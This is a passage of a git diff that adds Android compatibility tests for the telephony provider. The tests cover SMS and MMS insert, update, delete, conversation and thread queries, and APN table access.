+        final ContentValues values = new ContentValues();
+        values.put(Telephony.Mms.Part.MSG_ID, mmsId);
+        values.put(Telephony.Mms.Part.SEQ, 0);
+        values.put(Telephony.Mms.Part.CONTENT_TYPE, TEXT_PLAIN);
+        values.put(Telephony.Mms.Part.NAME, srcName);
+        values.put(Telephony.Mms.Part.CONTENT_ID, "<" + srcName + ">");
+        values.put(Telephony.Mms.Part.CONTENT_LOCATION, srcName);
+        values.put(Telephony.Mms.Part.CHARSET, 111);
+        values.put(Telephony.Mms.Part.TEXT, body);
+        Uri insertPartUri = mContentResolver.insert(partUri, values);
+        return insertPartUri;
+    }
+
+    private void insertIntoMmsAddressTable(long mmsId, String[] addresses) {
+        final Uri addrUri = Telephony.Mms.Addr.getAddrUriForMessage(String.valueOf(mmsId));
+        for (int i = 0; i < addresses.length; ++i) {
+            ContentValues addrValues = new ContentValues();
+            addrValues.put(Telephony.Mms.Addr.TYPE, i);
+            addrValues.put(Telephony.Mms.Addr.CHARSET, i + 1);
+            addrValues.put(Telephony.Mms.Addr.ADDRESS, addresses[i]);
+            addrValues.put(Telephony.Mms.Addr.MSG_ID, mmsId);
+            Uri insertAddressUri = mContentResolver.insert(addrUri, addrValues);
+            assertThat(insertAddressUri).isNotNull();
+        }
+    }
+
+    /**
+     * Asserts that a URI returned from an MMS insert operation represents a failed insert.
+     *
+     * When an insert fails, the resulting URI could be in several states. In many cases the
+     * resulting URI will be null. However, if an insert fails due to appops privileges it will
+     * return a dummy URI. This URI should either point to no rows, or to a single row. If it does
+     * point to a row, it the subject should not match the subject of the attempted insert.
+     *
+     * In normal circumstances, the environment should be clean before the test, so as long as our
+     * subjects are unique, we should not have a false test failure. However, if the environment is
+     * not clean, we could lead to a false test failure if the returned dummy URI subject happens to
+     * match the subject of our attempted insert.
+     */
+    private void assertThatMmsInsertFailed(@Nullable Uri uriReturnedFromInsert,
+            String subjectOfAttemptedInsert) {
+        if (uriReturnedFromInsert == null) {
+            return;
+        }
+        Cursor cursor = mContentResolver.query(uriReturnedFromInsert, null, null, null);
+        if (cursor.getCount() == 0) {
+            return; // insert failed, so test passes
+        }
+        assertThat(cursor.getCount()).isEqualTo(1);
+        cursor.moveToNext();
+        assertThat(cursor.getString(cursor.getColumnIndex(Telephony.Mms.SUBJECT))).isNotEqualTo(
+                subjectOfAttemptedInsert);
+    }
+
+    private void assertThatMmsInsertSucceeded(@Nullable Uri uriReturnedFromInsert,
+            String subjectOfAttemptedInsert) {
+        assertThat(uriReturnedFromInsert).isNotNull();
+
+        Cursor cursor = mContentResolver.query(uriReturnedFromInsert, null, null, null);
+
+        assertThat(cursor.getCount()).isEqualTo(1);
+
+        cursor.moveToNext();
+        String actualSubject = cursor.getString(cursor.getColumnIndex(Telephony.Mms.SUBJECT));
+        assertThat(actualSubject).isEqualTo(subjectOfAttemptedInsert);
+    }
+
+    /**
+     * @return the URI returned from the insert operation
+     */
+    private Uri insertTestMmsSendReqWithSubject(String subject) {
+        return insertTestMms(subject, PduHeaders.MESSAGE_TYPE_SEND_REQ);
+    }
+
+    private Uri insertTestMms(String subject, int messageType) {
+        Uri uri = Telephony.Mms.CONTENT_URI;
+        ContentValues values = new ContentValues();
+        values.put(Telephony.Mms.SUBJECT, subject);
+        values.put(Telephony.Mms.MESSAGE_TYPE, messageType);
+        return mContentResolver.insert(uri, values);
+    }
+}
+
diff --git a/tests/tests/telephonyprovider/src/android/telephonyprovider/cts/PduHeaders.java b/tests/tests/telephonyprovider/src/android/telephonyprovider/cts/PduHeaders.java
new file mode 100644
index 0000000..63e93e5
--- /dev/null
+++ b/tests/tests/telephonyprovider/src/android/telephonyprovider/cts/PduHeaders.java
@@ -0,0 +1,52 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.telephonyprovider.cts;
+
+/**
+ * Replicates some constants from {@link com.google.android.mms.pdu.PduHeaders}, which we do not use
+ * in order to avoid needing to access private platform APIs from this test package. These constants
+ * are standardized externally so the duplication should be robust.
+ */
+public interface PduHeaders {
+    /**
+     * X-Mms-Message-Type field types.
+     */
+    int MESSAGE_TYPE_SEND_REQ           = 0x80;
+    int MESSAGE_TYPE_SEND_CONF          = 0x81;
+    int MESSAGE_TYPE_NOTIFICATION_IND   = 0x82;
+    int MESSAGE_TYPE_NOTIFYRESP_IND     = 0x83;
+    int MESSAGE_TYPE_RETRIEVE_CONF      = 0x84;
+    int MESSAGE_TYPE_ACKNOWLEDGE_IND    = 0x85;
+    int MESSAGE_TYPE_DELIVERY_IND       = 0x86;
+    int MESSAGE_TYPE_READ_REC_IND       = 0x87;
+    int MESSAGE_TYPE_READ_ORIG_IND      = 0x88;
+    int MESSAGE_TYPE_FORWARD_REQ        = 0x89;
+    int MESSAGE_TYPE_FORWARD_CONF       = 0x8A;
+    int MESSAGE_TYPE_MBOX_STORE_REQ     = 0x8B;
+    int MESSAGE_TYPE_MBOX_STORE_CONF    = 0x8C;
+    int MESSAGE_TYPE_MBOX_VIEW_REQ      = 0x8D;
+    int MESSAGE_TYPE_MBOX_VIEW_CONF     = 0x8E;
+    int MESSAGE_TYPE_MBOX_UPLOAD_REQ    = 0x8F;
+    int MESSAGE_TYPE_MBOX_UPLOAD_CONF   = 0x90;
+    int MESSAGE_TYPE_MBOX_DELETE_REQ    = 0x91;
+    int MESSAGE_TYPE_MBOX_DELETE_CONF   = 0x92;
+    int MESSAGE_TYPE_MBOX_DESCR         = 0x93;
+    int MESSAGE_TYPE_DELETE_REQ         = 0x94;
+    int MESSAGE_TYPE_DELETE_CONF        = 0x95;
+    int MESSAGE_TYPE_CANCEL_REQ         = 0x96;
+    int MESSAGE_TYPE_CANCEL_CONF        = 0x97;
+}
diff --git a/tests/tests/telephonyprovider/src/android/telephonyprovider/cts/SmsConversationTest.java b/tests/tests/telephonyprovider/src/android/telephonyprovider/cts/SmsConversationTest.java
new file mode 100644
index 0000000..69f3ce6
--- /dev/null
+++ b/tests/tests/telephonyprovider/src/android/telephonyprovider/cts/SmsConversationTest.java
@@ -0,0 +1,120 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.telephonyprovider.cts;
+
+import static androidx.test.InstrumentationRegistry.getInstrumentation;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import android.content.ContentResolver;
+import android.content.ContentValues;
+import android.content.Context;
+import android.database.Cursor;
+import android.net.Uri;
+import android.provider.Telephony;
+import android.provider.Telephony.Sms.Conversations;
+
+import androidx.test.filters.SmallTest;
+
+import org.junit.AfterClass;
+import org.junit.Before;
+import org.junit.BeforeClass;
+import org.junit.Test;
+
+@SmallTest
+public class SmsConversationTest {
+
+    private static final String TEST_ADDRESS = "+19998880001";
+    private static final String TEST_SMS_BODY = "TEST_SMS_BODY";
+    private Context mContext;
+    private ContentResolver mContentResolver;
+
+    @BeforeClass
+    public static void ensureDefaultSmsApp() {
+        DefaultSmsAppHelper.ensureDefaultSmsApp();
+    }
+
+    @AfterClass
+    public static void cleanup() {
+        ContentResolver contentResolver = getInstrumentation().getContext().getContentResolver();
+        contentResolver.delete(Telephony.Sms.CONTENT_URI, null, null);
+    }
+
+    @Before
+    public void setupTestEnvironment() {
+        cleanup();
+        mContentResolver = getInstrumentation().getContext().getContentResolver();
+    }
+
+    /**
+     * The purpose of this test is to check most recent insert sms body equals to the Conversation
+     * Snippet
+     */
+    @Test
+    public void testQueryConversation_snippetEqualsMostRecentMessageBody() {
+        String testSmsMostRecent = "TEST_SMS_MOST_RECENT";
+
+        saveToTelephony(TEST_SMS_BODY, TEST_ADDRESS);
+        saveToTelephony(testSmsMostRecent, TEST_ADDRESS);
+
+        Cursor cursor = mContentResolver
+                .query(Telephony.Sms.CONTENT_URI, null, null, null);
+        assertThat(cursor.getCount()).isEqualTo(2);
+
+        Cursor conversationCursor = mContentResolver
+                .query(Conversations.CONTENT_URI, null, null, null);
+        assertThat(conversationCursor.getCount()).isEqualTo(1);
+        conversationCursor.moveToNext();
+
+        assertThat(
+            conversationCursor.getString(conversationCursor.getColumnIndex(Conversations.SNIPPET)))
+            .isEqualTo(testSmsMostRecent);
+    }
+
+    /**
+     * The purpose of this test is to check Conversation message count is equal to the number of sms
+     * inserted.
+     */
+    @Test
+    public void testQueryConversation_returnsCorrectMessageCount() {
+        String testSecondSmsBody = "TEST_SECOND_SMS_BODY";
+
+        saveToTelephony(TEST_SMS_BODY, TEST_ADDRESS);
+        saveToTelephony(testSecondSmsBody, TEST_ADDRESS);
+
+        Cursor cursor = mContentResolver
+                .query(Telephony.Sms.CONTENT_URI, null, null, null);
+        assertThat(cursor.getCount()).isEqualTo(2);
+
+        Cursor conversationCursor = mContentResolver
+                .query(Conversations.CONTENT_URI, null, null, null);
+        assertThat(conversationCursor.getCount()).isEqualTo(1);
+        conversationCursor.moveToNext();
+
+        assertThat(conversationCursor
+            .getInt(conversationCursor.getColumnIndex(Conversations.MESSAGE_COUNT)))
+            .isEqualTo(2);
+    }
+
+    public void saveToTelephony(String messageBody, String address) {
+        ContentValues values = new ContentValues();
+        values.put(Telephony.Sms.BODY, messageBody);
+        values.put(Telephony.Sms.ADDRESS, address);
+        Uri uri1 = mContentResolver.insert(Telephony.Sms.CONTENT_URI, values);
+    }
+}
+
diff --git a/tests/tests/telephonyprovider/src/android/telephonyprovider/cts/SmsTest.java b/tests/tests/telephonyprovider/src/android/telephonyprovider/cts/SmsTest.java
new file mode 100644
index 0000000..7831bb5
--- /dev/null
+++ b/tests/tests/telephonyprovider/src/android/telephonyprovider/cts/SmsTest.java
@@ -0,0 +1,283 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.telephonyprovider.cts;
+
+import static androidx.test.InstrumentationRegistry.getInstrumentation;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import android.content.ContentResolver;
+import android.content.ContentValues;
+import android.database.Cursor;
+import android.net.Uri;
+import android.provider.Telephony;
+
+import androidx.test.filters.SmallTest;
+
+import org.junit.AfterClass;
+import org.junit.Before;
+import org.junit.BeforeClass;
+import org.junit.Test;
+
+
+@SmallTest
+public class SmsTest {
+
+    private static final String TEST_SMS_BODY = "TEST_SMS_BODY";
+    private static final String TEST_ADDRESS = "+19998880001";
+    private static final int TEST_THREAD_ID_1 = 101;
+    private ContentResolver mContentResolver;
+    private SmsTestHelper mSmsTestHelper;
+
+    @BeforeClass
+    public static void ensureDefaultSmsApp() {
+        DefaultSmsAppHelper.ensureDefaultSmsApp();
+    }
+
+    @AfterClass
+    public static void cleanup() {
+        ContentResolver contentResolver = getInstrumentation().getContext().getContentResolver();
+        contentResolver.delete(Telephony.Sms.CONTENT_URI, null, null);
+        contentResolver.delete(Telephony.Threads.CONTENT_URI, null, null);
+    }
+
+    @Before
+    public void setupTestEnvironment() {
+        cleanup();
+        mContentResolver = getInstrumentation().getContext().getContentResolver();
+        mSmsTestHelper = new SmsTestHelper();
+    }
+
+    /**
+     * Asserts that a URI returned from an SMS insert operation represents a pass Insert.
+     */
+    @Test
+    public void testSmsInsert() {
+        Uri uri = mSmsTestHelper.insertTestSms(TEST_ADDRESS, TEST_SMS_BODY);
+        assertThat(uri).isNotNull();
+
+        Cursor cursor = mContentResolver.query(uri, null, null, null);
+        assertThat(cursor.getCount()).isEqualTo(1);
+        cursor.moveToNext();
+
+        String actualSmsBody = cursor.getString(cursor.getColumnIndex(Telephony.Sms.BODY));
+        assertThat(actualSmsBody).isEqualTo(TEST_SMS_BODY);
+    }
+
+    /**
+     * The purpose of this test is to perform delete operation and assert that SMS is deleted.
+     */
+    @Test
+    public void testSmsDelete() {
+        Uri uri = mSmsTestHelper.insertTestSms(TEST_ADDRESS, TEST_SMS_BODY);
+        assertThat(uri).isNotNull();
+
+        int deletedRows = mContentResolver.delete(uri, null, null);
+
+        assertThat(deletedRows).isEqualTo(1);
+
+        Cursor cursor = mContentResolver.query(uri, null, null, null);
+        assertThat(cursor.getCount()).isEqualTo(0);
+    }
+
+    /**
+     * The purpose of this test is to update the message body and verify the message body is
+     * updated.
+     */
+    @Test
+    public void testSmsUpdate() {
+        String testSmsBodyUpdate = "TEST_SMS_BODY_UPDATED";
+        Uri uri = mSmsTestHelper.insertTestSms(TEST_ADDRESS, TEST_SMS_BODY);
+        assertThat(uri).isNotNull();
+
+        mSmsTestHelper.assertSmsColumnEquals(Telephony.Sms.BODY, uri, TEST_SMS_BODY);
+
+        ContentValues values = new ContentValues();
+        values.put(Telephony.Sms.ADDRESS, TEST_ADDRESS);
+        values.put(Telephony.Sms.BODY, testSmsBodyUpdate);
+
+        mContentResolver.update(uri, values, null, null);
+
+        mSmsTestHelper.assertSmsColumnEquals(Telephony.Sms.BODY, uri, testSmsBodyUpdate);
+    }
+
+    @Test
+    public void testInsertSmsFromSubid_verifySmsFromNotOtherSubId() {
+        int subId = 1;
+
+        ContentValues values = new ContentValues();
+        values.put(Telephony.Sms.BODY, TEST_SMS_BODY);
+        values.put(Telephony.Sms.SUBSCRIPTION_ID, subId);
+        Uri uri = mContentResolver.insert(Telephony.Sms.CONTENT_URI, values);
+
+        assertThat(uri).isNotNull();
+
+        mSmsTestHelper.assertSmsColumnEquals(Telephony.Sms.SUBSCRIPTION_ID, uri,
+                String.valueOf(subId));
+    }
+
+    @Test
+    public void testInsertSms_canUpdateSeen() {
+        Uri uri = mSmsTestHelper.insertTestSms(TEST_ADDRESS, TEST_SMS_BODY);
+        assertThat(uri).isNotNull();
+
+        Cursor cursor = mContentResolver.query(uri, null, null, null);
+        assertThat(cursor.getCount()).isEqualTo(1);
+
+        final ContentValues updateValues = new ContentValues();
+        updateValues.put(Telephony.Sms.SEEN, 1);
+
+        int cursorUpdate = mContentResolver.update(uri, updateValues, null, null);
+
+        assertThat(cursorUpdate).isEqualTo(1);
+
+        mSmsTestHelper.assertSmsColumnEquals(Telephony.Sms.SEEN, uri, String.valueOf(1));
+    }
+
+    @Test
+    public void testInsertSms_canUpdateSmsStatus() {
+        Uri uri = mSmsTestHelper.insertTestSms(TEST_ADDRESS, TEST_SMS_BODY);
+        assertThat(uri).isNotNull();
+
+        Cursor cursor = mContentResolver.query(uri, null, null, null);
+
+        assertThat(cursor.getCount()).isEqualTo(1);
+        // STATUS_FAILED = 64;  0x40
+        mSmsTestHelper.assertUpdateSmsStatus(Telephony.Sms.STATUS_FAILED, uri);
+        // STATUS_PENDING = 32;  0x20
+        mSmsTestHelper.assertUpdateSmsStatus(Telephony.Sms.STATUS_PENDING, uri);
+        //  STATUS_COMPLETE = 0; 0x0
+        mSmsTestHelper.assertUpdateSmsStatus(Telephony.Sms.STATUS_COMPLETE, uri);
+    }
+
+    @Test
+    public void testInsertSms_canUpdateSmsType() {
+        Uri uri = mSmsTestHelper.insertTestSms(TEST_ADDRESS, TEST_SMS_BODY);
+        assertThat(uri).isNotNull();
+
+        Cursor cursor = mContentResolver.query(uri, null, null, null);
+        assertThat(cursor.getCount()).isEqualTo(1);
+        // MESSAGE_TYPE_INBOX = 1;  0x1
+        mSmsTestHelper.assertUpdateSmsType(Telephony.Sms.MESSAGE_TYPE_INBOX, uri);
+        // MESSAGE_TYPE_SENT = 2;  0x2
+        mSmsTestHelper.assertUpdateSmsType(Telephony.Sms.MESSAGE_TYPE_SENT, uri);
+    }
+
+    // Queries for a thread ID returns the same and correct thread ID.
+    @Test
+    public void testQueryThreadId_returnSameThreadId() {
+        ContentValues values = new ContentValues();
+        values.put(Telephony.Sms.THREAD_ID, TEST_THREAD_ID_1);
+        values.put(Telephony.Sms.BODY, TEST_SMS_BODY);
+        Uri uri = mContentResolver.insert(Telephony.Sms.CONTENT_URI, values);
+
+        assertThat(uri).isNotNull();
+
+        mSmsTestHelper.assertSmsColumnEquals(Telephony.Sms.THREAD_ID, uri,
+                String.valueOf(TEST_THREAD_ID_1));
+    }
+
+    /**
+     * Asserts that content provider bulk insert and returns the same count while query.
+     */
+    @Test
+    public void testSmsBulkInsert() {
+        ContentValues[] smsContentValues = new ContentValues[] {
+                mSmsTestHelper.createSmsValues(mSmsTestHelper.SMS_ADDRESS_BODY_1),
+                mSmsTestHelper.createSmsValues(mSmsTestHelper.SMS_ADDRESS_BODY_2)};
+
+        int count = mContentResolver.bulkInsert(Telephony.Sms.CONTENT_URI, smsContentValues);
+        mSmsTestHelper.assertBulkSmsContentEqual(count, smsContentValues);
+    }
+
+    /**
+     * Asserts that SMS inserted is auto populated with default values as mentioned in the table
+     * schema.
+     */
+    @Test
+    public void testDefaultValuesAreInsertedInSmsTable() {
+        Uri uri = mSmsTestHelper.insertTestSms(TEST_ADDRESS, TEST_SMS_BODY);
+        assertThat(uri).isNotNull();
+
+        Cursor cursor = mContentResolver.query(Telephony.Sms.CONTENT_URI, null, null, null);
+        assertThat(cursor.getCount()).isEqualTo(1);
+        cursor.moveToNext();
+
+        assertThat(
+            cursor.getInt(cursor.getColumnIndex(Telephony.Sms.READ))).isEqualTo(0);
+
+        assertThat(
+            cursor.getInt(cursor.getColumnIndex(Telephony.Sms.STATUS))).isEqualTo(-1);
+
+        assertThat(
+            cursor.getInt(cursor.getColumnIndex(Telephony.Sms.DATE_SENT))).isEqualTo(0);
+
+        assertThat(
+            cursor.getInt(cursor.getColumnIndex(Telephony.Sms.LOCKED))).isEqualTo(0);
+
+        assertThat(
+            cursor.getInt(cursor.getColumnIndex(Telephony.Sms.SUBSCRIPTION_ID))).isEqualTo(-1);
+
+        assertThat(
+            cursor.getInt(cursor.getColumnIndex(Telephony.Sms.ERROR_CODE))).isEqualTo(-1);
+
+        assertThat(
+            cursor.getInt(cursor.getColumnIndex(Telephony.Sms.SEEN))).isEqualTo(0);
+    }
+
+    @Test
+    public void testDeleteSms_ifLastSmsDeletedThenThreadIsDeleted() {
+        int testThreadId2 = 102;
+
+        Uri uri1 = mSmsTestHelper
+                .insertTestSmsWithThread(TEST_SMS_BODY, TEST_ADDRESS, TEST_THREAD_ID_1);
+        assertThat(uri1).isNotNull();
+
+        Uri uri2 = mSmsTestHelper
+                .insertTestSmsWithThread(TEST_SMS_BODY, TEST_ADDRESS, testThreadId2);
+        assertThat(uri2).isNotNull();
+
+        int deletedRows = mContentResolver.delete(uri1, null, null);
+        assertThat(deletedRows).isEqualTo(1);
+
+        Cursor cursor = mContentResolver.query(Telephony.Sms.CONTENT_URI, null, null, null);
+        assertThat(cursor.getCount()).isEqualTo(1);
+        cursor.moveToNext();
+
+        int thread_id = cursor.getInt(cursor.getColumnIndex(Telephony.Sms.THREAD_ID));
+        assertThat(thread_id).isNotEqualTo(TEST_THREAD_ID_1);
+    }
+
+    /**
+     * Asserts that a Emoji SMS body returned from an SMS insert operation are equal
+     */
+    @Test
+    public void testInsertEmoji_andVerify() {
+        String testSmsBodyEmoji = "\uD83D\uDE0D\uD83D\uDE02"
+                + "\uD83D\uDE1B\uD83D\uDE00\uD83D\uDE1E☺️\uD83D\uDE1B"
+                + "\uD83D\uDE1E☺️\uD83D\uDE0D";
+
+        Uri uri = mSmsTestHelper.insertTestSms(TEST_ADDRESS, testSmsBodyEmoji);
+
+        assertThat(uri).isNotNull();
+
+        mSmsTestHelper.assertSmsColumnEquals(Telephony.Sms.BODY, uri,
+                String.valueOf(testSmsBodyEmoji));
+    }
+
+}
+
diff --git a/tests/tests/telephonyprovider/src/android/telephonyprovider/cts/SmsTestHelper.java b/tests/tests/telephonyprovider/src/android/telephonyprovider/cts/SmsTestHelper.java
new file mode 100644
index 0000000..fc668e2
--- /dev/null
+++ b/tests/tests/telephonyprovider/src/android/telephonyprovider/cts/SmsTestHelper.java
@@ -0,0 +1,117 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.telephonyprovider.cts;
+
+import static androidx.test.InstrumentationRegistry.getInstrumentation;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import android.content.ContentResolver;
+import android.content.ContentValues;
+import android.database.Cursor;
+import android.net.Uri;
+import android.provider.Telephony;
+
+class SmsTestHelper {
+
+    private ContentResolver mContentResolver;
+    private ContentValues mContentValues;
+    public static final String SMS_ADDRESS_BODY_1 = "sms CTS text 1",
+            SMS_ADDRESS_BODY_2 = "sms CTS text 2";
+    SmsTestHelper() {
+        mContentResolver = getInstrumentation().getContext().getContentResolver();
+        mContentValues = new ContentValues();
+    }
+
+    public Uri insertTestSms(String testAddress, String testSmsBody) {
+        mContentValues.put(Telephony.Sms.ADDRESS, testAddress);
+        mContentValues.put(Telephony.Sms.BODY, testSmsBody);
+        return mContentResolver.insert(Telephony.Sms.CONTENT_URI, mContentValues);
+    }
+
+    public ContentValues createSmsValues(String messageBody) {
+        ContentValues smsRow = new ContentValues();
+        smsRow.put(Telephony.Sms.BODY, messageBody);
+        return smsRow;
+    }
+
+    public Uri insertTestSmsWithThread(String testAddress, String testSmsBody, int threadId) {
+        mContentValues.put(Telephony.Sms.ADDRESS, testAddress);
+        mContentValues.put(Telephony.Sms.BODY, testSmsBody);
+        mContentValues.put(Telephony.Sms.THREAD_ID, threadId);
+
+        return mContentResolver.insert(Telephony.Sms.CONTENT_URI, mContentValues);
+    }
+    /**
+     * Asserts the verify message details
+     */
+    public void assertSmsColumnEquals(String columnName, Uri uri, String expectedValue) {
+        Cursor cursor = mContentResolver.query(uri, null, null, null);
+
+        assertThat(cursor.getCount()).isEqualTo(1);
+        assertThat(cursor.moveToNext()).isEqualTo(true);
+
+        assertThat(cursor.getString(cursor.getColumnIndex(columnName))).isEqualTo(expectedValue);
+    }
+
+    public void assertBulkSmsContentEqual(int count, ContentValues[] smsContentValues) {
+        Cursor cursor = mContentResolver.query(Telephony.Sms.CONTENT_URI, null, null, null);
+
+        assertThat(count).isEqualTo(smsContentValues.length);
+        assertThat(cursor.getCount()).isEqualTo(smsContentValues.length);
+
+        assertThat(cursor.moveToNext()).isEqualTo(true);
+        assertThat(cursor.getString(cursor.getColumnIndex(Telephony.Sms.BODY)))
+                .isEqualTo(SMS_ADDRESS_BODY_2);
+
+        assertThat(cursor.moveToNext()).isEqualTo(true);
+        assertThat(cursor.getString(cursor.getColumnIndex(Telephony.Sms.BODY)))
+                .isEqualTo(SMS_ADDRESS_BODY_1);
+
+    }
+    public void assertUpdateSmsStatus(int status, Uri uri) {
+        ContentValues mContentValues = new ContentValues();
+        mContentValues.put(Telephony.Sms.STATUS, status);
+
+        int cursorUpdate = mContentResolver.update(uri, mContentValues, null, null);
+        assertThat(cursorUpdate).isEqualTo(1);
+
+        Cursor cursorStatus = mContentResolver.query(uri, null, null, null);
+        assertThat(cursorStatus.getCount()).isEqualTo(1);
+        cursorStatus.moveToNext();
+
+        int statusResult = cursorStatus.getInt(cursorStatus.getColumnIndex(Telephony.Sms.STATUS));
+        assertThat(statusResult).isAnyOf(0, 32, 64);
+        assertThat(statusResult).isEqualTo(status);
+    }
+
+    public void assertUpdateSmsType(int type, Uri uri) {
+        mContentValues.put(Telephony.Sms.TYPE, type);
+
+        int cursorUpdate = mContentResolver.update(uri, mContentValues, null, null);
+        assertThat(cursorUpdate).isEqualTo(1);
+
+        Cursor cursorStatus = mContentResolver.query(uri, null, null, null);
+        assertThat(cursorStatus.getCount()).isEqualTo(1);
+        cursorStatus.moveToNext();
+
+        int typeResult = cursorStatus.getInt(cursorStatus.getColumnIndex(Telephony.Sms.TYPE));
+        assertThat(typeResult).isAnyOf(1, 2);
+        assertThat(typeResult).isEqualTo(type);
+    }
+}
+
diff --git a/tests/tests/telephonyprovider/src/android/telephonyprovider/cts/TelephonyProviderTest.java b/tests/tests/telephonyprovider/src/android/telephonyprovider/cts/TelephonyProviderTest.java
new file mode 100644
index 0000000..f79439b
--- /dev/null
+++ b/tests/tests/telephonyprovider/src/android/telephonyprovider/cts/TelephonyProviderTest.java
@@ -0,0 +1,54 @@
+/*
+ * Copyright (C) 2013 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.telephonyprovider.cts;
+
+import android.content.ContentResolver;
+import android.database.Cursor;
+import android.provider.Telephony.Carriers;
+import android.test.InstrumentationTestCase;
+
+public class TelephonyProviderTest extends InstrumentationTestCase {
+    private ContentResolver mContentResolver;
+    private static final String[] APN_PROJECTION = {
+        Carriers.TYPE,
+        Carriers.MMSC,
+        Carriers.MMSPROXY,
+        Carriers.MMSPORT,
+        Carriers.MVNO_TYPE,
+        Carriers.MVNO_MATCH_DATA
+    };
+
+    @Override
+    protected void setUp() throws Exception {
+        super.setUp();
+        mContentResolver = getInstrumentation().getContext().getContentResolver();
+    }
+
+    // In JB MR1 access to the TelephonyProvider's Carriers table was clamped down and would
+    // throw a SecurityException when queried. That was fixed in JB MR2. Verify that 3rd parties
+    // can access the APN info the carriers table, after JB MR1.
+    public void testAccessToApns() {
+        try {
+            String selection = Carriers.CURRENT + " IS NOT NULL";
+            String[] selectionArgs = null;
+            Cursor cursor = mContentResolver.query(Carriers.CONTENT_URI,
+                    APN_PROJECTION, selection, selectionArgs, null);
+        } catch (SecurityException e) {
+            fail("No access to current APN");
+        }
+    }
+}
diff --git a/tests/tests/telephonyprovider/src/android/telephonyprovider/cts/ThreadsTest.java b/tests/tests/telephonyprovider/src/android/telephonyprovider/cts/ThreadsTest.java
new file mode 100644
index 0000000..a92870d
--- /dev/null
+++ b/tests/tests/telephonyprovider/src/android/telephonyprovider/cts/ThreadsTest.java
@@ -0,0 +1,133 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.telephonyprovider.cts;
+
+import static androidx.test.InstrumentationRegistry.getInstrumentation;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import android.content.ContentResolver;
+import android.content.ContentValues;
+import android.content.Context;
+import android.database.Cursor;
+import android.net.Uri;
+import android.provider.Telephony;
+
+import androidx.test.filters.SmallTest;
+
+import org.junit.AfterClass;
+import org.junit.Before;
+import org.junit.BeforeClass;
+import org.junit.Test;
+
+@SmallTest
+public class ThreadsTest {
+
+    private static final String DESTINATION = "+19998880001";
+    private static final String MESSAGE_BODY = "MESSAGE_BODY";
+    private static final int THREAD_ID = 101;
+
+    private Context mContext;
+    private ContentResolver mContentResolver;
+
+    @BeforeClass
+    public static void ensureDefaultSmsApp() {
+        DefaultSmsAppHelper.ensureDefaultSmsApp();
+    }
+
+    @AfterClass
+    public static void cleanup() {
+        ContentResolver contentResolver = getInstrumentation().getContext().getContentResolver();
+        contentResolver.delete(Telephony.Threads.CONTENT_URI, null, null);
+        contentResolver.delete(Telephony.Sms.CONTENT_URI, null, null);
+    }
+
+    @Before
+    public void setupTestEnvironment() {
+        cleanup();
+        mContext = getInstrumentation().getContext();
+        mContentResolver = mContext.getContentResolver();
+    }
+
+    @Test
+    public void testThreadDeletion_doNotReuseThreadIdsFromEmptyThreads() {
+        String destination2 = "+19998880002";
+
+        long threadId1 = Telephony.Threads.getOrCreateThreadId(mContext, DESTINATION);
+
+        int deletedCount =
+                mContentResolver.delete(
+                        saveToTelephony(threadId1, destination2, "testThreadDeletion body"),
+                        null,
+                        null);
+
+        assertThat(deletedCount).isEqualTo(1);
+
+        long threadId2 = Telephony.Threads.getOrCreateThreadId(mContext, destination2);
+
+        assertThat(threadId2).isGreaterThan(threadId1);
+    }
+
